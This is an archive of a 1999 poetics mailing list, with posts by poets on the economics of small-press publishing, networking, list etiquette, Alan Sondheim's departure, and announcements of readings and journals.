business (biz'nis) n. [ME businesse , bisi, busy.] 1. a. The occupation, work, or trade in which one is engaged. b. A specific pursuit or occupation. 2. Commercial, industrial, or professional dealings. 3. A commercial enterprise or establishment. 4. Volume or amount of commercial trade <Business was increasing.> 5. Commercial dealings: patronage. 6. One's rightful or proper interest or concern. 7. Serious work or endeavor <promised to get down to business> 8. An affair or matter <a distressing business> 9. An incidental action performed by an actor on the stage to fill a pause between lines or to provide interesting detail. 10. Informal. A verbal reprimand: scolding. 11. Obs. The condition of being busy. syns: business, commerce, industry, trade, traffic n. core meaning: commercial, industrial, or professional activity <when business is slow> Business applies broadly to all gainful activity. Industry is the production and manufacture of goods <the plastics industry>, while commerce and trade are the exchange and distribution of commodities <interstate commerce> <the publishing trade> Traffic may suggest illegal trade <traffic iun narcotics>

Websters II New Riverside University Dictionary, 1988

it's a simple fact of life in our society that people must be able to provide for themselves monetarily. if one wishes to criticize the business elements of

poetry, please consider looking at the larger picture in which this situation exists. most people are not able to financially support themselves through their poetry, their publications. this is almost laughable that i even wrote this last sentence, as it is so blatantly obvious.

as both a poet and publisher, i cannot ignore the fact that it costs money to put work forth into the world. even self-publishing--paper, pen, printer, whatever--requires money. let's not forget stamps, envelopes. last i checked, these were not free either. maybe i'm looking in the wrong places? what about web publishing--i pay for internet access, paid for this computer at which i now sit, etc., so nope, that's not free either. sending work out to others to publish: well, there's still that computer and printer and paper and stamps to be thinking of. unless i'm going to go use someone else's computer and printer and paper and stamps. do i borrow, barter, repay somehow, or do i just take and not give back? which has parallels with what happens once someone is published in a journal...there's that work you're reading, yours, someone else's...there it is, right there, in the midst of someone else's resources i.e. book, journal, whatever. you get the experience, the pleasure, the gain yes the gain the benefit of reading it, holding it, looking at it, flipping the pages or clicking buttons...do you choose to simply ignore the fact that it took time and money and a whole lot of dedication and determination to bring this product forth? or do you go ahead and subscribe to some publications, purchase small press books, encourage and actively engage in the wide range of what it is to be a poet in this society in this time at this place at this moment and why aren't you going right now to buy some book off the spd website at once or grabbing an envelope and writing a check to a small non-spd-carried publication that has come across you lately that you liked that you enjoyed that you set aside without thinking about the cost the costs involved. the business of poetry is there whether you choose to look at it or not. to ignore it is a protective stance, a protected position. not everyone has the ability to / interest in maintain(ing) this posture. to bring it--the financial concerns of poetry--to light in a criticizing manner, pointing fingers at those who cannot avoid the simple math of needing to make ends meet, is unfair, detrimental...and contributes to the continuation of the limited availability of non-mainstream publishing.

thanks for listening/reading--
jill stengel

↑ Index

391. Jill Stengel
elements of business
Tue 26 Oct 1999

...and then there's this networking thing...
there are so many tangents, elements, aspects of this whole "business" thing...

networking. hard to know sometimes what is going on. is this person talking to me b/c s/he knows i publish books? does s/he want something from me? or is this a gesture of friendliness, a desire to participate in the larger poetic conversation? do i want to always assume the worst, clam up, turn off, turn away? or do i want to leave myself open, believe that the conversational effort is from a place of genuine interest? and is it not genuine interest to want to be published, to, by being published, enter into the conversation in a larger way, reaching more people? this is very confusing. i want to know the poets in my community, and in the larger community as a whole. some i know are doing interesting publishing projects, some are being published, some are doing/hosting readings/performances--i want to know what's going on, who they are, what they have to say. am i networking? i do know of some people i've been warned away from, those who i've been told go through friends in a rotating cycle, when they've finished with their usefulness to them...that might be networking, but i'm not sure, really--it sounds more like resource-depletion to me. most poets i know are interested in the genuine conversation. who the hell else wants to talk about this stuff? not too many other people, tho recently a business (that word again) banker started talking to me about emily dickinson and dorothy parker, which impressed the hell out of me. so what is this networking anyway? really? curiously, jill stengel

↑ Index

392. Nielsen, Aldon
Re: generation returns again & again (fwd)
Tue 26 Oct 1999

. Thus the real subtext
>of the book is how the academic marketplace DEFORMS poetic thinking to
>meet academic marketplace demands--"here is the field of acceptable poetry
>to the academy; language poetry can now be defined as academically
>acceptable; therefore all poetics must speak to it."

> *Is it a book for other academic critics to respond to and make other careers out of while erasing the actual histories of poems and poets? No doubt.*

While I agree with most of what Mark says, the passages I've detached here make me wince -- I suspect Mark will agree, after looking carefully at the careers around him, that writing a book about "language" poetry is probably not the best way to "make a career" in the academy even now -- As to the academic acceptability of "language" writing in comparison with other modes of poetry and discourse, I suspect that I know personally every human being who consistently teaches "language" poetry in universities, and I don't know all that many people --

"no doubt "?

but Beach has made a muckery of Mark's commentary --

↑ Index

393. **Nielsen, Aldon**

Federman and Benabou in Los Angeles

Tue 26 Oct 1999

Raymond Federman and Marcel Benabou will be speaking this weekend on the campus of Loyola Marymont University --

for details visit:

http://clawww.LMU.EDU/graduate/engl/Colloq.htm

↑ Index

394. **r.drake**

Grist mill

Tue 26 Oct 1999

---

forward from another list:
>
>Announcing a new list for poets discussing political issues. Grist, the
>successor to ictus, is up and running. Grist is an open discussion list, at
>the core of which are poets discussing political issues that are relevant to
>all. From Kosovo to East Timor, from media distortion to the use of drugs
>by psychiatrists, all is grist to the mill.
>
>Join the list at http://grist.listbot.com . Send messages to
>[redacted]
>

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395. **Joe Amato**
job ad...
Tue 26 Oct 1999

fyi, & a bit cheeky... rec'd under the heading "isn't everyone"...

best,

joe

The program in Creative Writing at -------- invites applications for an Assistant Professor in a thriving MFA program. Ph.D. preferred. To teach graduate and undergraduate poetry workshops, craft, and literature. We are seeking a poet of national reputation, with at least one book from a major publishing house, and substantial teaching experience. Awards desirable. Evidence of energetic and excellent teaching a top priority. Competitive salary and benefits. Send letter of application, c.v., writing sample, transcripts, 3 letters of recommendation (dated 1996 or later), and a stamped, self-addressed postcard, to Chair, Creative Writing Search Committee. Materials must be postmarked by 15 November. MLA interviews. -------- is an Affirmative Action employer.

Note: if you do not know someone on our faculty, or if you do not know someone who knows someone on our faculty, please do not bother. And if you know anyone who knows someone on our faculty, please encourage them to apply. -------- is an Affirmative Action employer.

Also: if the someone on our faculty you do know, or the someone on our faculty someone you know knows-i.e., if the faculty member so known is anyone, you might not want to waste your time, either. Ditto for those anyones you know who think they know someone. -------- is an Affirmative Action employer.

NB: We are not just anyone, and we are looking for someone. -------- is an Affirmative Action employer.

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396. **Patrick F. Durgin**
Fw: something to the poetics list
Tue 26 Oct 1999

Hey,
Anyone with contact info for Glen Ingersoll, please backchannel to
[redacted]
Thanks Patrick F. Durgin

---------- Text of forwarded message ----------
From: "Patrick F. Durgin" <[redacted]>
To: <[redacted]>
Subject: Fw: something to the poetics list
Date: Tue, 26 Oct 1999 16:26:22 -0500

-----Original Message-----
From: Sumana Kaipa <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, October 26, 1999 3:53 PM
Subject: something to the poetics list

> *hi & i'll talk to you soon,*
>
> *will you send this to the poetics list for me:*
>
> *I'm looking for contact information for Glenn Ingersoll.*
>
> *Anyone have a phone number?*
>
> *thanks,*
> *summi*
>
> ---
> *Get Your Private, Free Email at http://www.hotmail.com*

k e n n i n g
a newsletter of contemporary poetry, poetics, and nonfiction writing
http://www.avalon.net/~kenning
418 Brown St. #10, Iowa City, IA 52245, USA

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397. **KENT JOHNSON**
sticks and bones
Tue 26 Oct 1999

Murat Nemet-Nejat wrote:

> *Alan, you ask the question, "what constitutes a stick or a symbol." Well, sticks break bones. Symbols, I guess, don't. Because of their lack of economy -a quality which you seem to admire in "Seminumerical Algorithms" (whatever that means)- your words do*

But a stick, of course, can be a symbol. And in that way, a symbol can break bones. I'd say Sondheim's question is perfectly reasonable-- and in the right symbolic context a potential stick for use.

↑ Index

398. **Taylor Brady**

Re: on sondheim, on raphael, on expression (OR, in defense of reading)

Tue 26 Oct 1999

Bemusement certainly carries plenty of meaning of its own. What I responded to in your post was the way that very meaning was constructed by parasitizing and ultimately vacating the other very real meanings of social scale at work in the discussion: e.g., that what the Times accomplishes in the deployment and installation of ideology at a transnational scale is _not_ the same as what Mark proposed at the ultimately rather small scale of the 10% or so of list participants who were likely to be paying attention to this thread. That, for example, his call for Alan to exercise a kind of prior restraint on his productions in this forum, however much one might take issue with it (and I do - I think you and I agree there), is orders of magnitude away from the ability to rig the mechanisms of political debate in order to foreordain the ideological victory and material "progress" of the neoliberal empire - which ability _is_, concretely, the medium of the Times' work.

This is not to say I find no room for mockery or hyperbole in these discussions - simply that the level of hyperbole involved in your equation between two such disparate practices seemed to obscure an accurate assessment of the situation. Public discourse should (how's that for prescriptive and censorious?) flash and crackle with wit, but when the requirements of a good joke at your interlocutor's expense overwhelm those of accuracy - well, call me dour and bloodless, but it makes me nervous. Of course there are effective sites for that kind of mockery-and-the-rest-be-damned approach: one thinks of Lenny Bruce's portrayal of cops and judges, or Malcolm X's "chickens coming home to roost" comment. What's most telling in these instances, for me, is that the speakers are articulating their positions against the context of a real social violence which has effectively closed off the possibility of further debate. In the face of attempts to destroy a life and livelihood, or at a much larger scale to effectively decapitate and liquidate a people's insurgency, Bruce and X's refusals to distinguish between good and bad cops, between J.F.K. and J. Edgar Hoover, emerge as necessary responses to situations one might call, without exaggeration, life-threatening. In such circumstances, sure, let the barbs fly, and sort out the details if they let you live to see the aftermath.

And that was, as I saw it, the source of my description of "social violence" as operative in these engagements. Read my post again. I think it makes fairly clear my sense that the _real_ social violence is that being perpetrated by wholesalers of ideological consolation for empire like the Times...and that the most

we can muster in this particular space, in comparison, is a fairly benign emotional aggression or petulance. That it is ridiculous to compare the scale of this to that of the Times' operations by resort to the same term of definition was, for me, precisely the point. Far from a scare tactic, I employed it as a means of deflation. But in your rush to mold my comments into a target for mockery, you've bypassed this fine point, as you've bypassed the ironic inflection of my use of the word "restraint." Again, please read what I wrote: the post begins with a criticism of restraint as a viable mode of practice for this list. The comment from which you draw the presumptive conclusion that I'm a standard-bearer for exactly that restraint is actually doing work completely opposed to it. "At the risk of adding my voice to the calls for restraint...", i.e., it's a risk, something I wouldn't want. "Let me not be misunderstood to be suggesting," etc., etc. I realize irony doesn't carry so clearly in email, but that one seemed fairly well evident to me.

Which brings me back to my original stake in this thread: Might we not reasonably expect that, on a list devoted to poets and scholars of poetry, participants in arguments would read each other's writings with a certain amount of care? And that this reading would include an attention to the work being performed by those writings in a sphere understood to be at least somewhat larger than the daily P-List tally of who got the leg up on whom? This isn't a call for "politeness" or restraint - simply my wish that when we depart from civility (as at times, all "citizens" must [and how much more so those faced with exclusion from _that_ designation]) - that we engage in such departure out of a sense of necessity, and with an understanding of _what_ it is we've chosen to make the target of our tactical misapprehensions.

Then again, I had my sense of humor surgically extracted before going to Buffalo back in '94. It's cold there, and humor being the delicate organ it is, the climate often turns it bitter and malignant. Many of us chose to have it amputated. Now that I'm in San Francisco, shuttling Volvo-wise up price-speculating hill and down multimedia gulch through the autopoiesis of the armies of the painfully, painfully earnest, I don't miss it at all. We're all very centered and happy here, except when we're not.

Without a trace of irony, but thoroughly strapped in, cinched up, and otherwise restrained,
Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Patrick Herron
Sent: Monday, October 25, 1999 2:28 PM
To: [redacted]

Subject: on sondheim, on raphael, on expression (OR, in defense of reading)

> *a collapsing of meaningful distinctions in favor of a rhetoric of dismissive . . . bemusement*

Thank you Taylor for your interest. May I ask you, bemusement conveys no meaning, Taylor? my post was bemusement in terms of severe mockery, not outrage. if there was a dime for every up-andcoming critic stepping on a creative person's head, well, there'd be enough coins to make us all very very rich. using one form of rhetoric (bemusement/mockery) does not mean i favor it over others in all cases. by any means. its legitimacy depends upon your value system. obviously i am a low brow cretin who resorts to more old fashioned everyday common man techniques, which seems to you unworthy of deployment in such a group as this. perhaps this group has been at this point before. sorry for rattling skeletons. the sound of bone on bone admittedly is chilling.

>such behaviors from their writers and readers
that go far beyond the very general "making folks feel bad," which seems to be about the greatest level of social violence listees can muster in their conflicts.

social "violence"? deploying tertiary definitions of loaded words such as "violence" in order to sway group opinion, then, is also a form of violence perhaps? the friar's club, on your use of "violence," is a violent organization then? and then you are restraining your own violence?

>Again, not to say that isn't a problem - at the risk of adding my
voice to the calls for restraint, could we perhaps make sure to read each other, and be willing to articulate that reading out in the open, before resorting to dismissal out-of-hand?

actually, to be very honest, my effort was calculated. and restraint is not exactly a "correct" means of discourse, and I hope poets and those who love poetry know that. restraint is one of many means. having a sense of humor helps, as you and I would guess Mark both know. Am I not to assume that he has a sense of humor? That he understands why I would be bothered enough to twist his post into a punchline?

> *I obviously have my intellectual investments here, rather than simply attack them in the "I-can-shout-over-a-DSL-line-louder-than-you" mode.*

If that works for you, yes, sure, you can pursue your goals by your preferred means. I could say what I said quietly. What I said was in text, and in mixed (mostly lower) case. technically shouting is done with ALL CAPS. and, heck, i WISH i had DSL.

> *It might benefit us, though, to make a principled distinction between our practices and theirs - a little more care and attention on both sides of this argument, perhaps?*

I don't see it as "us" and "them." I'm a primate, an animal, making a display about very strong feelings i have about poetry. i am not above my nature. i am steeped in the animal kingdom and do not wish to insult the good name of my ancestors by acting any other way! and I'm childish and perhaps naively idealistic.

i wish the group to have a great deal of cohesion. cooperation is power. crit often divides to conquer, and that breaks down cohesion. perhaps this is the root of my mockery, the distaste for such displays of superiority, as Mark seems to try to display over Alan. I'm a primate and said, "eek! eek! no no! you must be laughed at!" poets are largely disenfranchised, and most are poor unless they find another way to make an income. why not discourage our own from disenfranchising each other?

when poetry sinks into subtle political games of manipulation and duplicity and backchannel handshakes, well, I'll shout then, too. Why get back at Mark through "principled distinctions between our practices and theirs"? There are few ways more respectable, at least in my little worldview, than being aboveboard, than making people laugh.

i know for sure more than a few people laughed. must they change their ways, too?

And I say this in the open to you Taylor, because despite the fact that we don't see eye-to-eye on method I like you and what you have to say. If I made fun of you here, would you laugh, or would you walk away in a puff and denounce the means? I'm not advocating that someone club mark over the head or label him a dickhead or something coarse like that, and i don't think anyone here gets that impression (I hope).

if i disagree with you, Taylor, i still see what you say as respectable and worthy of response, even disarming aggressive responses. Because I imagine you can go home and say, "geez, that was stupid," or, "no, now you're being stupid" (which is what I think you are saying here, and that's OK with me, my "I'm with stupid" tshirt has an arrow that points to my face).

Despite how we as adults are taught to be friends, and how apparently I fly in the face of that proper way known as RESTRAINT, i don't want Mark to be my enemy. i'd rather he say, "why did you say something so low to me in public" than to decide that I am his mortal enemy. perhaps this is the tower of Babel and he won't understand that. I was willing to take the risk.

i believe Mark is on the side of poetry, and that he may be misguided if he thinks that what he said is valuable and above even the lowest of ridicule. obviously he has a deep love for poetry, and i know i cannot dissuade him from that. perhaps I can dissuade him from being a clannish elitist, though, through mockery. i know what i said stung, but he's probably (hopefully) going to post again soon. i did not call him names. i made fun of him, albeit in a shockingly disarming way. but not behind his back. how do we formulate our gestures?

Taylor, you seem to intimate that it's the bad guys versus the good guys, and that i am a good guy gone astray. i am as bad if not worse than anyone and would like not to join such a team at all. to boot i would like to make fun of both teams as long as I can. I like Mark, I like you. I dislike the humorless stepping on heads thing. in my experience people step on another person's head to gain something. mark steps on Alan's head, to gain more space in his inbox perhaps, to gain inclusion in groups that have excluded Alan with similar types of unengaged crit, to reinforce his friendships with others who do not like Alan's writing. I step on mark's head to gain a world of poetry where (1) people can mercilessly lampoon others, and (2) where critics do not find room to gain in their own positions by doing the dirtywork of their masters. And you step on my head, perhaps a soft soled shoe, to show that i and others on this list not use ridicule and use restraint. You and I and Mark are no better than one another. we just have different means.

All the best,
Patrick

Get Your Private, Free Email at http://www.hotmail.com

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399. William Slaughter

Mudlark

Tue 26 Oct 1999

New and On View: Mudlark No. 12 (1999)

At A Shift of Points the Chorus Switches

Twenty-five Poems by Martin Bennett

Martin Bennett read English at Saint Catherine's College, Cambridge. He then taught in Nigeria and Ghana. He now works

in Saudi Arabia. His collection of poems, LOOSE WATCHES,
was published by the University of Salzburg Press.

Spread the word. Far and wide,

William Slaughter

_____
MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

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400. Gerald Schwartz
Re: the "biz"
Tue 26 Oct 1999

I believe it was Harrison Fisher, who in 1985, coined the term "poebiz"....

...are there any earlier references?

Gerald

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401. Alan Sondheim
Bye
Tue 26 Oct 1999

I think Todd Baron did it for me - "up to five long poems a day." I've never sent that much out to any list and most of my work isn't partic- ularly long.

I was also slammed for sending out something about the poetics of mathe- matics, which I think is relevant here. But clearly it isn't.

I'm tired of the debate. My work's available on Trace. I'll send in very very very occasionally on this list, most likely just URLs. I don't expect very many of you to be interested, but then most of the poetics here is literary in the oldest sense possible - and while there are new works and writers going on, from Kent John- son to Christy Sanford to Miekal And to m9ndfukc.com or jodi.org - ALL of whom are relevant here - the discussion continues in very traditional ways. I thank those of you who have suppor- ted me of course; I'm not trying to overly-generalize or offend anyone.

Someday - if you continue to use words like "author," "poem," "avant- garde," "experimental," "writing," or "reading" - you're going to have to open up a LOT more than you've done. And you're going to have to open to radically different

forms of discourse, of media, of Net in all its mani- festations. I'd suggest looking at the 7-11 list for example or the occa- sional literary posts on Nettime.

Again, this is just my neurosis here. I'm worn out. I don't want to defend myself or my writing any longer. I don't see any point to it. I'm excited by a lot of new writing all over the Net, and I wish there were more of it on Poetics. I love the writings of a lot of people here as you probably know. But I do feel hounded out by a lot of others, and I am physically ill at the moment, there's bad sickness in my family, and I'm really tired of fighting the same fights I've been engaged in for decades, arguing the same arguments. I'm depressed and stressed out, what else is new.

For anyone interested, check out the URLs below - I will probably send an update of trAce once a week, since as writer in residence "there" I get to see a lot of exciting things, including my own.

Alan, apologies to everyone

Trace at: http://trace.ntu.ac.uk Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm My current work at: http://trace.ntu.ac.uk/writers/sondheim/diary/le.txt Online diary at: http://trace.ntu.ac.uk/writers/sondheim/diary/diary.txt

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402. David Kellogg

Re: Ghazal

Tue 26 Oct 1999

See "The Ghazal in America: May I" by Agha Shahid Ali, in _After New Formalism: Poets on Form, Narrative, and Tradition_, ed. Annie Finch (Story Line Press, 1999), pp. 123-132.

Cheers,
David
~~~
~~~

403. Thomas Dorow
Re: on regionalism...
Tue 26 Oct 1999

Dear Mr. Presjar,

you wrote,

> *Someone recently posted,*

etc. when you actually meant me. This is quite alright, but I´m beginning to feel an itching in my nose. In fact, I´m beginning to bite the edge of my table at the sound of this schoolmasterly tone, but well well, a nice cup of tea should do away with it, and for the rest, my "philosophy" will help. Then you said something about someone being sniffy about regionalism, and I say no and no and again no, I´m not, honest to god. There is a certain sense of community, though, that makes my toenails curl, and that is the kind that claims collective authority.

Greetings,
Tom

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404. Bill Lavender
Re: Winners-Deep South Writers Conference Contest
Tue 26 Oct 1999

Loyola University and
New Orleans Review
announces

An Other South

Symposium and Readings

Saturday, November 6, 1999
Loyola University

Please respond to this email if you would like to have a hardcopy of the schedule mailed to you. Call [redacted] for more information.

Please forward this message.

****

Schedule:

2:00 PM: Panels and Presentations
(Octavia Room, Danna Center, 2nd Floor)

Introduction and Welcome. Bill Lavender

Formalism, Experimentation, Improvisation.)ohnLowther

poly(am)nesia. a haiku extension of AGRARIA. A. di Michele

Multi-media Presentation. Gerry Cannon

A Passion for Peril: Emotion and Experiment. Camille Martin

Other Sense Poetry. Randy Prunty

Panel on An Otherness: The South and Experimentation. All participants. Hank Lazer moderates

Readings:

Niyi Osundare

Kay Murphy

Amy Trussell

Christopher Chambers

4:15 PM: Introduction of the New Orleans Review Advisory Board, Refreshments

5:00 PM: Break for Dinner

7:00 PM: Readings Continue
(Nunemaker Hall, 3rd Floor Monroe Hall)

Bernadette Mayer

An interpretation in dance of Jake Berry and Amy Trussell¹s "Dark Water Song" and Jake Berry¹s "Primencia Devour." Amy Trussell

Hank Lazer

David Thomas Roberts

Joel Dailey

Andy Young

Dennis Formento

Joy Lahey

Mark Spitzer

Nancy Harris

M. Sarki

Alex Rawls

Bill Myers

Dave Brinks

Susan Facknitz

Brett Evans

Greg Fuchs

Randy Prunty

)ohnLowther

A. Di Michele

Camille Martin

Skip Fox

****

Location

Loyola is located at 6363 St. Charles Avenue, across from Audobon Park.
Free Parking for participants and guests is available in the West Road
parking garage (enter from St. Charles).
For further information, contact:
Bill Lavender‹ email: [redacted]
5568 Woodlawn Place, New Orleans, LA 70124 [redacted]

Other events that week:

Thursday night, Nov. 4: Bernadette Mayer reads at the University of New Orleans at 7:30 pm. later Thursday night: Readings at the Dream Palace, 534 Frenchmen St. Open mike, and then music by the Glick Bros. Sunday, Nov. 7: Regular Maple Leaf Bar reading at 3:00 pm, Camille Martin and A. di Michele, followed by open mike.

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405. david bromige
poetry audience/s
Tue 26 Oct 1999

A bit late to post re this, I guess, the rate we do turn over topics here. But anyway : I am glad to see this subject discussed. It does need it. To see the work of Dobyns so widely read---9,000 bought the selected, did I read?--when it is such predictable, contained, unchallenging writing, while the poetry of---oh, hundreds, but at my random, say Kit Robinson, Steve Benson, Deanna Ferguson, Lissa Wolsak, Dan Farrell, Nick Piombino, surely has at best one-tenth of those sales, is not only galling, it is a crying shame.....that there are poets who are so much more the equal of their times, scarcely remarked by a book-buying

public, while "300 CW programs" [and that AINT C & W, right?] bolster SD's sales & thus confirm students to produce poems that continue this non-venture, "ah, well, it troubles my sleep," is an understatement, and a colossal one at that.

Look at SD's product and you will find no mystery whatsoever, each poem wraps itself up with not a drop left over, like the last glass of the evening, for the gods. The titles alone take care that nothing escapes. The poems are over-contextualized up the wazoo. To me, the phenomenon of this ilk of poetry in our day is only an extension of the new world order and the control mindset that it would impose upon Mind, that best adventure.

I find it depressing that books such as _Body Traffic_ get published by Penguin whereas it is harder each year for the poetry I love to get published at all; poor people who write poetry cannot afford to subsidize its publication, and more of us get poorer by the year.

Is there a solution? Think.

In the meantime, the failure of poetry to reach a public, frees poetry up to be whatever it wants to be, no one to impress or hustle, none to address, only Being & Nothingness, only Love and Beauty, In/Justice, Oblivion, the Language and one to do it.

David

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406. david bromige
re up w/ down
Tue 26 Oct 1999

Again, sorry to be dialtory : this responds to something from at least a week ago.

> *are talking. it was really rainy yesterday. I can't take*
> *it anymore. Alan Sondheim keeps writing stuff, and it's not "real" poetry.*
> *it's stuff that just came off his typewriter, as opposed to the other kind.*
> *what right does he have? let us band together, I mean it, and demand that*
> *Alan stop posting stuff from his typewriter because if he doesn't we're*
> *going to have to learn how to use the delete button, and I for one am much*
> *too busy for that.*
>
> *yours with an urgent sense of a vast problem, yet one, I think, that we can*
> *lick, if we just, like, you know, whatever. Allen*

I found this at the foot of a Stephen Ellis post, to which I was led by Charles Bernstein's rebuttal of a tale Ellis tells. I apologize for not knowing who "Allen" is in full.

It's hard to believe my eyes. Here we are, 1999, and a poetry-lover can still make a distinction between "real" poetry and stuff that just comes off the tpyewriter?!? What does one put on in order to produce this "real" poetry, one wonders? A Sherlock Holmes robe and deerstalker hat? A laurel crown? A gorilla suit? Does anyone here remember the anecdote Creeley tells of reading in Indiana (perhaps there) and being asked "Was that a real poem, or did you make that up yourself?"?

For what it's worth, in my opinion Alan Sondheim's project is an accurate use of this List. Yes, I expect much of what he posts he has just written---likely he writes directly onto his e-mail. I know I often do, valuing the immediacy and the commitment. Sure, I find the quality uneven---but that doesnt strike me as a primary worry at all. It's in the overall that this project has most meaning. And a part of that is to disclose the way the poetic faculty opens and closes like a flower, or a sea anemone, and to evidence the rhythms of this process. It is an intensely various endeavor, this poetry of his, and to that I say Amen! Keep variousness alive or, if its already too late, bring it fucken back! And this is not to say that some of his poems don't knock me out of my tree, boil my potatoes and throw my oatmeal to the ceiling. I assume in such a project there'll be poems that pass on by my individual capabilities. I dont always download, because theres too much else to attend to, and this in itself tells me something about the times, about poetry, about myself and about the Internet.

Alan has set pieces---I believe I can identify some of them. But Praise the Lawd they are embedded in lava that still flows, and not the sum total of his writing life, not so many tombstones saying "Real dead" and "Geology died" at the same time.

David

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407. Lowther, John
was a business, now it's just a building
Wed 27 Oct 1999

{ p o e t i x }

(((that's pete stephen jill
and
all the rest of you too

first ---- jill i'm feeling hampered as usual by the multiplicity of reads that one can draw from email ---- are you angry at something i've said ? i hadnt meant to provoke anything like that ----- anyway, i'm not suggesting that acknowledging the monetary realities and such of poetry publishing are

questionable and it doesnt seem that stephen was either ----- did it sound that way ? you spoke of being warned by friends about certain people who use others etc ---- sounds like high school, or, the corporate world, or academe, or... fuck---it's everywhere ----- still, i figure it's easier to trust people and see what happens ---- and it is maybe laughable that you wrote about how poets can't support themselves by poetry tho i've no urge to laugh or bemoan the situation ----- seems like i said before on this list (?) that the alternatives gave me the willies

i mean imagine for a minute
the poetry world on the model of basketball
million dollar season contracts
competition groupies endorsements celebrity

wait tho...., there's jewel

you wrote;

the business of poetry
is there
whether you choose to look at it
or not.
to ignore it is a protective stance,
a protected position.
not everyone has the ability to
/ interest in maintain(ing)
this posture.

did anyone say this ? i don't think i said this ---- i recall saying that i dont think of poetry as a business or the poetry world as a business community ---- and that to do so felt like a self-blinding ---- and by the passion i sense in yr response it seems you wd too ---- that is, wd you want to suggest (based on that dictionary definition perhaps?) that poetry is *nothing more* than one business among many ?

so when you continue with;

to bring it--the financial concerns of poetry
--to light in a criticizing manner,
pointing fingers at those who cannot avoid
the simple math of needing
to make ends meet, is unfair, detrimental...
and contributes to the continuation
of the limited availability
of non-mainstream publishing.

i feel yr anger, but at whom is directed ? i havent intended to point any fingers in all of this and am well aware of the simple math of which you speak (i imagine a chorus of "he is" from the 12 or so poets who've been waiting a year or so for my 3rd magazine to appear)

next, and it leads out of this

pete spence wrote;

know how you feel, seems hard for me in dear old Australia to sell the Hannah Weiner book i did in 86 hard then harder now with about 40 sale copies left, also hard to get orders in for the new Weiner book COUNTRY GIRL whyche will be a handmade production// publishing sent me broke a number of times during the 80's and a coupla times i was already broke when i published something what does this = a minus//nope//pete spence

and i gotta tell ya pete
every time i've seen yr notices
about hannah's books i've
thought "i really ought to buy that"
i've printed yr posting out
laid em out on the table
next to the bills, credit card offers
the number for the consumer protection agency
which i've called and called about the guy
who took $700 from us to paint the house
and disappeared

i still hope i'll get around to it

but thanx
for doing these books

stephen ellis wrote;

By "business" I think I was trying to get at the fact that writing the poems - and perhaps also distributing them on a small scale - had to do with a distributive function, whereas this other "business-y" aspect seemed often to have more to do with accumulating a kind of authority wch is something other than any "authority" with which one writes. (...) ...attaining some level of authority, just so to be HEARD, and recognized as (one of) the public figures of that activity, ie., producing materials that one feels "should be" heard.

stephen, i think i did hear you
amidst all my fumbling around
about this
and it seems to me

that this 'authority' (author-icity)
<a thing that
kent johnson
and i've just been
batting around
and here i think
a point where he'd
take a somewhat
different (and interesting)
tangent than i'm about to>
...it seems, to me at least, that
authority isnt (and i think you see this
implicitly above) isnt of any *necessity*
a bad thing
until the work, as you say
"the primary, MADE thing" is "forced to
play second fiddle to a social occasion"

how exactly does this happen ?
what can we do about it ? is that
jumping the gun > ~can~ we do
anything about it

tangent >>> i'm chided a lot by my poetry friends for my utter disbelief in anything commonly called The Unconscious ---- "unconsciously you do" they say etc ---- it just seems too tidy a catch-all for things that cd be explained but when youve got the unconscious handy it's like a landfill behind a velvet curtain; all those pesky considerations are just whisked away ---- and the curtain is so mysterious and the landfill stinks

i'm drawn to the idea of
dispensing with The System
of dispensing with The Business
as higher level abstractions
which it seems the more we lean on them
the more we fall far from the place
we sought to know

jill wrote/asked;

i want to know the poets in my community, and in the larger community as a whole. some i know are doing interesting publishing projects, some are being published, some are doing/hosting readings/performances--i want to know what's going on, who they are, what they have to say. am i networking?

yeah
i s'pose, i do it, i cast no stones

and this ties in with stephen's increasingly more insistent questioning in his post;

> *In a word, the question here becomes what do we believe we are delivering?*
>
> *Or what do we have each to give?*
>
> *Or, what can we BE, together?*

and as it seems i end up again
with nothing much in the way of answers
just some hopes
which it's been pointed out to me
one must have to stay functioning in one's ruts

but that's not the note i want to end on

stephen, jill, pete, anybody
anyone have answers to these questions ?
are they in fact questions that need answers ?
..that conceivably have them ?

[the APPLAUSE light is on but we don't deliver]

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408. david bromige
sticks and bones
Wed 27 Oct 1999

> *sticks break bones. Symbols, I guess, don't.*

Well, take TWO sticks, cross them at right angles, and you have something suitable for a crucifixion. Next, you have The Cross, a symbol. How many bones have been broken in the name of The Cross? Even more than have been broken in the name of The Koran, probably.

David

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409. Stephen Cope
BEYOND THE PAGE
Wed 27 Oct 1999

For those in the area looking for a different kind of spook, chewck this out...

Stephen Cope

***

BEYOND THE PAGE resumes its monthly series of literary and arts events with the following reading/performance:

What: SAWAKO NAKAYASU and LYTLE SHAW read from and/or perform their work.

Where: Faultline Theater, 3152 5th Avenue (at Spruce), in San Diego's Hillcrest District.

When: Sunday, Octeboer 31, 4PM.

Etc: $3-5 donation requested, with no-one refused at the door. Beer, wine, and other refreshments available.

****

* LYTLE SHAW is the author of several chapbooks, including _Low Level Bureaucratic Structures: A Novel_ and one book, _Cable Factory 20_ (Atelos, 1999). He lives in New York, where he co-edits SHARK, a journal of poetics and art writing.

* SAWAKO NAKAYASU received her BA in Literature/Writing and in Music Composition from UCSD, where she has played floor hockey every Friday for the last six years. By day she teaches art, Japanese, math, and choir; by night she continues to write, while creating and producing new performance art works, including _Tending the Keep_, staged at Sushi Performance & Visual Art in San Diego last May. Her poetry has been published in CHAIN, KEY SATCH(EL), TINFISH, and is forthcoming in INTERLOPE. This summer, she learned how to ride a bicycle.

****

BTP is proud to continue its monthly series of arts-related events with this reading/performance. BTP is an independent literary and arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], [redacted]; e-mail: [redacted], [redacted].

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410. **Jerrold Shiroma**

Re: Wallace on Beach

Wed 27 Oct 1999

Just a observation from my (very brief) perusing of the book under discussion...there seems to be an obvious lack of attention paid to (what Beach called) "multicultural" poetry in terms of "experimentalism." From what I remember, brief mention was made of the Walter Lew anthology _Premonitions_.

Beyond that, however, no serious attention paid to the highly experimental work of, say, Myung Mi Kim, or even Theresa Cha, not to mention Amiri Baraka, or Nathaniel Mackey...

